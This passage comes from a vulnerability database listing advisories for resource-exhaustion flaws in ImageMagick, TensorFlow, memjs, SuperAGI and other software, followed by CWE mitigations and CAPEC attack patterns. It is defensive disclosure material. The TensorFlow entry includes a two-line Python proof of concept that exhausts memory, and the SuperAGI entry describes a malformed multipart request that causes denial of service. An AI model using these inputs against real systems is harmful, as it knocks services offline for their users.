      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/braces/commit/abdafb0cae1e0c00f184abbadc692f4eaa98f451"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1547272"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/npm:braces:20180219"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Regular Expression Denial of Service (ReDoS) in braces"
}

GHSA-CWPJ-H54C-XJPX

Vulnerability from github – Published: 2026-05-18 17:53 – Updated: 2026-06-11 13:30
VLAI
Summary
ImageMagick: Policy Bypass in PSD decoder
Details

Due to a missing check in the PSD decoder it would be possible to bypass the list-length resource policy when decoding a PSD image. Other security limits would still apply.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x86"
      },
      "ranges": [
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    {
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        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
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          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
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            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
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          "type": "ECOSYSTEM"
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      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:53:18Z",
    "nvd_published_at": "2026-06-10T22:16:57Z",
    "severity": "MODERATE"
  },
  "details": "Due to a missing check in the PSD decoder it would be possible to bypass the `list-length` resource policy when decoding a PSD image. Other security limits would still apply.",
  "id": "GHSA-cwpj-h54c-xjpx",
  "modified": "2026-06-11T13:30:36Z",
  "published": "2026-05-18T17:53:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cwpj-h54c-xjpx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45031"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick: Policy Bypass in PSD decoder"
}

GHSA-CWPM-F78V-7M5C

Vulnerability from github – Published: 2022-05-24 22:10 – Updated: 2022-05-24 22:10
VLAI
Summary
Denial of service in `tf.ragged.constant` due to lack of validation
Details

Impact

The implementation of tf.ragged.constant does not fully validate the input arguments. This results in a denial of service by consuming all available memory:

import tensorflow as tf
tf.ragged.constant(pylist=[],ragged_rank=8968073515812833920)

Patches

We have patched the issue in GitHub commit bd4d5583ff9c8df26d47a23e508208844297310e.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported externally via a GitHub issue.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-29202"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-24T22:10:51Z",
    "nvd_published_at": "2022-05-20T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe implementation of [`tf.ragged.constant`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/ops/ragged/ragged_factory_ops.py#L146-L239) does not fully validate the input arguments. This results in a denial of service by consuming all available memory:\n\n```python\nimport tensorflow as tf\ntf.ragged.constant(pylist=[],ragged_rank=8968073515812833920)\n```\n  \n### Patches\nWe have patched the issue in GitHub commit [bd4d5583ff9c8df26d47a23e508208844297310e](https://github.com/tensorflow/tensorflow/commit/bd4d5583ff9c8df26d47a23e508208844297310e).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/55199).\n",
  "id": "GHSA-cwpm-f78v-7m5c",
  "modified": "2022-05-24T22:10:51Z",
  "published": "2022-05-24T22:10:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cwpm-f78v-7m5c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29202"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/issues/55199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/bd4d5583ff9c8df26d47a23e508208844297310e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/ops/ragged/ragged_factory_ops.py#L146-L239"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service in `tf.ragged.constant` due to lack of validation"
}

GHSA-CWQQ-W8C3-R2JW

Vulnerability from github – Published: 2019-08-23 00:04 – Updated: 2021-08-17 21:57
VLAI
Summary
Uncontrolled Resource Consumption in MetadataExtractor
Details

MetadataExtractor 2.1.0 allows stack consumption.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "MetadataExtractor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-14262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-08-22T15:04:25Z",
    "nvd_published_at": "2019-07-25T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "MetadataExtractor 2.1.0 allows stack consumption.",
  "id": "GHSA-cwqq-w8c3-r2jw",
  "modified": "2021-08-17T21:57:17Z",
  "published": "2019-08-23T00:04:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14262"
    },
    {
      "type": "WEB",
      "url": "https://github.com/drewnoakes/metadata-extractor-dotnet/pull/190"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r204ba2a9ea750f38d789d2bb429cc0925ad6133deea7cbc3001d96b5@%3Csolr-user.lucene.apache.org%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled Resource Consumption in MetadataExtractor"
}

GHSA-CX66-WGV6-FPFH

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

SuperAGI version v0.0.14 is vulnerable to an unauthenticated Denial of Service (DoS) attack. The vulnerability exists in the resource upload request, where appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request causes the server to continuously process each character. This leads to excessive resource consumption and renders the service unavailable. The issue is unauthenticated and does not require any user interaction, impacting all users of the service.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-9437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:48Z",
    "severity": "HIGH"
  },
  "details": "SuperAGI version v0.0.14 is vulnerable to an unauthenticated Denial of Service (DoS) attack. The vulnerability exists in the resource upload request, where appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request causes the server to continuously process each character. This leads to excessive resource consumption and renders the service unavailable. The issue is unauthenticated and does not require any user interaction, impacting all users of the service.",
  "id": "GHSA-cx66-wgv6-fpfh",
  "modified": "2025-03-20T12:32:51Z",
  "published": "2025-03-20T12:32:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9437"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/27404e9c-eb3d-4626-a9d9-8dc1b3295ce0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CX8M-8XMX-Q8V3

Vulnerability from github – Published: 2018-10-10 17:25 – Updated: 2023-09-12 18:51
VLAI
Summary
Denial of Service in memjs
Details

Versions of memjs prior to 1.2.2 are vulnerable to Denial of Service (DoS). The package fails to sanitize the value option passed to the Buffer constructor, which may allow attackers to pass large values exhausting system resources.

Recommendation

Upgrade to version 1.2.2 or later.

Severity
9.1 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "memjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-3767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:33:11Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Versions of `memjs` prior to 1.2.2 are vulnerable to Denial of Service (DoS).  The package fails to sanitize the `value` option passed to the Buffer constructor, which may allow attackers to pass large values exhausting system resources.\n\n\n## Recommendation\n\nUpgrade to version 1.2.2 or later.",
  "id": "GHSA-cx8m-8xmx-q8v3",
  "modified": "2023-09-12T18:51:51Z",
  "published": "2018-10-10T17:25:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3767"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/319809"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cx8m-8xmx-q8v3"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/970"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in memjs"
}

GHSA-CXC2-V3V8-GGCP

Vulnerability from github – Published: 2022-07-12 00:00 – Updated: 2022-07-12 00:00
VLAI
Details

In CmpBlkDrvTcp of CODESYS V3 in multiple versions an uncontrolled ressource consumption allows an unauthorized attacker to block new TCP connections. Existing connections are not affected.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-30791"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-11T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In CmpBlkDrvTcp of CODESYS V3 in multiple versions an uncontrolled ressource consumption allows an unauthorized attacker to block new TCP connections. Existing connections are not affected.",
  "id": "GHSA-cxc2-v3v8-ggcp",
  "modified": "2022-07-12T00:00:57Z",
  "published": "2022-07-12T00:00:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30791"
    },
    {
      "type": "WEB",
      "url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=17128\u0026token=bee4d8a57f19be289d623ec90135493b5f9179e3\u0026download="
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CXJF-PR27-7Q48

Vulnerability from github – Published: 2022-08-05 00:00 – Updated: 2022-08-11 00:00
VLAI
Details

In versions 2.x before 2.3.1 and all versions of 1.x, when NGINX Instance Manager is in use, undisclosed requests can cause an increase in disk resource utilization. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-35241"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-04T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In versions 2.x before 2.3.1 and all versions of 1.x, when NGINX Instance Manager is in use, undisclosed requests can cause an increase in disk resource utilization. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
  "id": "GHSA-cxjf-pr27-7q48",
  "modified": "2022-08-11T00:00:31Z",
  "published": "2022-08-05T00:00:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35241"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K37080719"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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